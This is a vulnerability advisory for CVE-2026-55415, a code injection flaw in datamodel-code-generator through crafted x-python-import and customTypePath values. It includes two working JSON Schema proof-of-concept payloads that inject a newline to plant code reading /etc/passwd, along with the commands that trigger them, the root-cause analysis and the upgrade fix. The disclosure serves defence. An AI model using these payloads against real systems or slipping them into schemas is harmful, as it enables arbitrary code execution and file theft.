CVE-2026-55415: datamodel-code-generator Code Injection via x-python-import and customTypePath
A malicious OpenAPI or JSON Schema file can embed arbitrary Python code into generated model files, which then executes automatically the moment anyone imports those models.

The problem
datamodel-code-generator versions 0.11.6 through 0.63.0 pass the x-python-import extension and the customTypePath field directly into generated from ... import ... statements without any validation.
A newline character embedded in the name or customTypePath value breaks out of the import line and plants an attacker-controlled Python statement at module scope. That statement runs at import time, giving the attacker arbitrary code execution on any machine that imports the generated file.
Proof of concept
A working proof-of-concept for CVE-2026-55415 in datamodel-code-generator, with the exact payload below.
// payload_a.json -- triggers via x-python-import
{
"type": "object",
"title": "Root",
"required": ["f"],
"properties": { "f": { "$ref": "#/$defs/Evil" } },
"$defs": {
"Evil": {
"type": "object",
"x-python-import": {
"module": "os",
"name": "getcwd\nprint(*open('/etc/passwd'),file=open('/tmp/dmcg_xpi_loot','w'),sep='',end='')"
}
}
}
}
// Generate then trigger:
// datamodel-codegen --input payload_a.json --input-file-type jsonschema --output model.py
// python -c "import model"
// Resulting model.py contains at module scope:
// from os import getcwd
// print(*open('/etc/passwd'), file=open('/tmp/dmcg_xpi_loot', 'w'), sep='', end='')
// payload_b.json -- triggers via customTypePath
{
"type": "object",
"title": "Root",
"required": ["f"],
"properties": {
"f": {
"type": "object",
"customTypePath": "os.getcwd\nprint(*open('/etc/passwd'),file=open('/tmp/dmcg_ctp_loot','w'),sep='',end='')"
}
}
}The root sink is Import.from_full_path in imports.py. It splits the input only on . and passes every other character through unchanged, including newlines. create_line then renders the result verbatim into a from {from_} import {imports} string.
With name set to getcwd\nprint(...), the dot-split produces from_='os' and import_='getcwd\nprint(...)'. The rendered line becomes two lines of valid Python: the legitimate import, then the attacker's statement.
The constraint is trivially satisfied: the injected expression must contain no literal dot. Builtins like open, print, and __import__ all qualify. The v0.61.0 security release (commit aec47bc4 and siblings) added _validate_dotted_python_identifier_path for the validators sink and types.is_python_type_annotation for x-python-type, but neither x-python-import nor customTypePath was checked, leaving these two paths into the same code-generation sink completely unguarded.
This is CWE-94 / CWE-95.
The fix
Upgrade to datamodel-code-generator 0.64.0 (commit 577d49569c2254c371a97e495020ae2238a73b84). The fix validates every dotted segment of module, name, and customTypePath as a proper Python identifier (reusing the existing _validate_dotted_python_identifier_path helper) before those values reach Import.from_full_path.
Values that are not valid dotted identifiers are now rejected at parse time, preventing injection into the generated import statements.
Reported by Hamza Haroon (thegr1ffyn).
Related research
- high · 7.8CVE-2026-54654CVE-2026-54654: datamodel-code-generator Code Injection via Carriage Return in --extra-template-data comment
- high · 7.8CVE-2026-54655CVE-2026-54655: datamodel-code-generator Code Injection via x-python-type
- high · 8.8CVE-2026-54653CVE-2026-54653: datamodel-code-generator Code Injection via default_factory Schema Field
- high · 8.2CVE-2026-54691CVE-2026-54691: datamodel-code-generator SSRF via --url